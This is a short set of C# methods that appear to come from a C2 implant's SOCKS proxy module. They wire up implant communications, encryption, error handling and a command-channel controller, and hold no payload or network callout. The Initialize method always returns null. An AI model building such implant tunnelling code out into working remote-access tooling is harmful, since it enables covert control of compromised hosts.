public string Initialize() { string pubKey = null; try { _error = new InternalErrorHandler(_config.ImplantComms); _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error) { ImplantComms = ImplantComms }; _sockLoopctrller = new SocksLoopController() { Encryption = Encryptor, ErrorHandler = _error, CmdCommshandler = _cmdCommsHandler, ImplantComms = ImplantComms }; _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error) { ImplantComms = ImplantComms }; } catch (Exception ex) { var mesg = new List <String> { "Failed to derive server key", ex.Message }; _error.LogError(mesg); } return(pubKey); }
public CommandChannelController(CommandChannelConfig c2config, SocksLoopController client, CommandCommunicationHandler comms, InternalErrorHandler error) { C2Config = c2config; C2Config.CommandChannelSessionIdChanged += () => { //TO DO: Sort out what happens when config changes...... }; _client = client; _cmdCommsHandler = comms; _error = error; }
public CommandCommunicationHandler(IEncryptionHelper encryption, SocksClientConfiguration config, InternalErrorHandler error) { _encryption = encryption; this._config = config; _error = error; }